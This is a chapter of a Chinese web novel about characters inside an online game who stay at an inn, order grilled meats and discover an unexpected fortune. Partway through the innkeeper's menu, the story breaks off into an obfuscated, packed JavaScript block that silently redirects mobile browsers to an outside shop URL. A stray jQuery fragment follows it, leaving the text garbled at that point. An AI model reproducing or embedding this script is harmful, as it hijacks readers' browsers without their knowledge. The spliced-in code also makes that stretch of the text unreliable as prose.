人果然得多喝水，补水完成，伍蔚然舒服地长呵一口气。
“你还记得早上看到的那群官兵吗？如果以后学校干预学习规则越来越多，你还喜欢上学么？”
尽管因为身体原因许久没有上学了，这话还是听得袁司晨浑身起鸡皮疙瘩：“姐姐你还是让我说游戏吧……我不差那点血条。不，我不会喜欢。”
伍蔚然更来兴趣了，抛出一个她总时不时在想的问题：“那你想留在越来越差的这个世界，还是本来就差的那个世界呢？”
袁司晨认真地想了想说：“如果A或B，面前的两个选择都是错的，那我选择钝角。”
“怎么说？”
“我觉得这个游戏本来是好的，一定是出什么问题了，才会变坏的。”
“而外面的世界也不是完全无法改变的。比如我能抢到游戏的首发名额其实，咳，是我黑进发售系统里……”袁司晨不好意思地笑了笑。
……？
伍蔚然傻眼。
“没想到你这么厉害呢。”伍蔚然由衷地说。
人不可貌相，小镖师原来还是个黑客呢。
她们俩在车前并肩而坐，季安泽一个人不声不响地坐在车后。
季安泽今天意外地安静，安静得伍蔚然不禁心里犯起嘀咕，是不是箭毒又发作了，时不时回头看一眼。
以免车开出去五里地，才发现人早就从车上掉下去了。
看到那半截悬在半空的皂靴，才松了口气。
“季安泽？”伍蔚然试探地喊了一声。
车后面传来一声懒懒的：“嗯？”
听起来倒不像是毒发后气息虚浮的样子。
“没事，叫着玩。”
“哦。”
灰骡子休息充足，好像加满了电一样，稳步拉着车向前行驶，一下午走出去许多里程。
袁司晨打开地图看了看，按现在的进度，路上再休息一晚，明天落日之前就能到皇城了。
一路向北走着，从太阳高悬在头顶，到斜斜地从左边照过来，把三个人一辆车的影子拉得长长的。
天蓝色的天空被渲染成赤橙色，又烧成了红霞，然后一点点地冷却，凝结成靛蓝色。
在蓝调时光的天幕下，一行人进了亿豪客栈。
根据袁司晨的地图，从这里再往前走，就是离皇城最近的传送点，泰兴城。
泰兴城离皇城不远，因为有传送点的关系，那里的玩家应该不少，大概率也有玩家集市。他们可以在这住一晚之后路过泰兴城，早上出发，在泰兴城补充一些物资，然后傍晚到皇城。
这次，伍蔚然已经不像最早到五条客栈时那么期待。
在六侠镇上住了一晚，又四处逛了逛，伍蔚然已经对各种客栈审美疲劳了，大家的格局都大差不差，服务也大差不差。
尽管都是吃饭睡觉的地方，除了搞几个特色菜，这游戏倒是做出点别的差异来呀……伍蔚然忽然有些想念自己见福客栈里打着补丁的柜台。
也不知道今天的营业额是多少……
跨过亿豪客栈的门槛，一位洋溢着标准微笑的NPC掌柜准时刷新在面前。
伍蔚然下意识后退了一步。
不知道是不是因为早上那个紫衣太监的事，她已经有点疑神疑鬼，忍不住思考是不是面前的人也是玩家变的了。
“欢迎来到亿豪客栈，几位是打尖还是住店？”
掌柜是个国字脸，三七分的中年男人，一身清爽利落的深蓝色短打，声音热情却客气。
这一副看起来十分专业官方的打扮，让他胸前挂着的白玉兰花显得格外突兀。
一朵玉兰花。
白色的长条花瓣构成饱满的，欲放的花苞，收束在绿色的茎里。
一条黑色的丝绳穿过花茎，花朵散发着淡淡的香气，挂在掌柜的脖子上，莫名让人联想到神父胸前的十字架。
这已经足够突兀了，但这不是这朵花最奇怪的地方。
“你见过这个吧？”伍蔚然偏头示意袁司晨。
袁司晨一愣，然后点了点头。
“有点印象。”
去过新手村的玩家都知道，那么大概也就是所有的玩家都知道。
新手村里有一个卖花婆婆NPC，和她说话可以触发互动，得到这么一条除了好看什么用都没有的玉兰花项链，算是游戏早期的一个小彩蛋。
伍蔚然的客栈离新手村也没多远，之前就时不时见玩家拿出这个东西。免费的嘛，还不限量，完全可以做到人手一份。
就曾经有玩家说“那我跟你赌一条玉兰花项链。”之类的话作为调侃。
故而，伍蔚然对这东西还挺眼熟的，虽然什么用没有，这到底也算是玩家道具。
来自新手村的批发赠品道具挂在NPC脖子上，总有种说不出的违和感。
“也不知道是哪个玩家的恶作剧。”伍蔚然若有所思。
袁司晨耸肩，对着NPC开口道：“两间客房，先吃点。”
NPC掌柜一脸歉意。
“不好意思，本店只剩下一间空房了。”
“嗯？怎么会只有一间房间？”袁司晨很意外，“我在外面走镖住店，就没遇上过满房的情况。”
这游戏的地图足够大，第一批贩售的游戏一共也就一万份，留在游戏里的玩家应该只有几千人，怎么样都很难造成拥堵。
况且这大堂冷冷清清，除了他们三个就没别人，怎么就满房了？
“确实只有一间空房了。”NPC掌柜重复道，然后有礼貌地鞠了个躬，“给您带来的不便我们非常抱歉，还请谅解。”
外面天都黑了，这个时候再启程赶路实在是说不过去。
“我可以打地铺。”季安泽说。
大晚上的，季安泽头顶却还戴着他那个斗笠，低着头，脸被帽檐遮住，藏在阴影里。
伍蔚然撇了撇嘴：“谁知道你睡觉打不打呼噜。”
“那我出去外面睡，你们两个一间。”
说完，季安泽转身又要走。伍蔚然拉住他。
“开个玩笑，不就是凑合一晚嘛，我不介意。”
季安泽停下脚步，默默点了点头。
“好。”
来都来了，先吃个饭吧。
伍蔚然找了个空桌子坐下，出发了NPC的背菜单互动。
“我们店里有蒸鱼炸鱼红烧鲤鱼，酱牛肉酱肘子酱黄瓜，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625201|204752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
葱油拌面阳春面、雪菜肉丝面、烤羊排，烤牛肩，烤牛舌……”
袁司晨眼前一亮。
“欸对，我想起来了，这里我来过！这家店的特色菜是烤肉！”
这家的掌柜NPC形象一本正经，卖得菜品倒是很接地气。热爱吃肉的袁司晨直接想每样都来一份。
刚要豪迈地喊出来，伍蔚然扯了扯她衣角。
袁司晨不解地转头。
伍蔚然凑过去小声说：“一会儿我直接从系统里给你买，没有中间商赚差价。”
把这个宝贝技能给忘了，袁司晨一拍脑门，随便点了份阳春面，配烤羊排。
想到一会还能走后门把其他的菜也试一遍，她嘴里已经开始分泌唾液。
想想烤肉在炭火上烘烤出亮晶晶的油脂和汤汁，肉质纤维和脂肪被烤出焦香，外焦里嫩，咬上一口唇齿留香……
季安泽点了一份阳春面，一壶竹叶青。
没多久，菜便陆陆续续端了上来。
阳春面清汤见底，细面整整齐齐盘在碗里，上头撒着翠绿葱花。
羊排烤得金黄焦脆，边缘泛着油光。
NPC掌柜把菜送上来，就消失得没影了。
“这家店不错啊。”
袁司晨说着，夹起一块羊排。咔嚓。
她幸福得眯起眼。
而季安泽吃了几口面就站起身，提着酒壶往后院走。
“啊？季少侠你这就吃饱啦？”袁司晨抓着羊排，脑袋追随着季安泽的移动轨迹。
“不饿。”
季安泽撂下两个字，衣角消失在门后。
袁司晨看向伍蔚然：“他这是怎么了？”
伍蔚然苦笑：“我哪知道？好啦，现在你想吃什么，赶紧点。”
说着，她打开了自己的主菜单，进入NPC面板。
打开【客栈商城】。
袁司晨回忆着刚才听到的菜单：“我还要一份烤牛舌，一份烤牛肩肉，一份烤排骨……”
点击兑换，过了几秒，冒着热气的几碟烤肉就自己出现在了桌上。
伍蔚然看了一眼客栈的账面余额，正要感叹一番自己的贫穷，她的表情就凝固在脸上。
？
这数字不对啊？上次她看到的还是只剩三位数。
这一二三四五六个零……
难道说——
那时候事态紧急没留意，难道她动用的不是见福客栈的帐户，而是不管什么临近客栈的帐户？
这也太——
她不禁“啊？”出了声。
袁司晨转头，古怪地看着她。
伍蔚然瞬间表情严肃：“司晨，如果你有天早上醒过来，发现自己其实是你们那个世界最有钱的人，你会是什么反应？”
袁司晨的表情更加古怪了，好像脸上写着“你没事吧”四个大字。
“我会去给自己挂个精神科，看看是不是义体排异反应明显，直接变赛博精神病了。”
伍蔚然咳嗽了两声，然后喃喃道：“我觉得天光墟遇见的那个乞丐说的对，想成功，确实得先发疯，人还是得敢想啊。”
谁能想到呢，一觉醒来，她好像变成游戏里的首富了。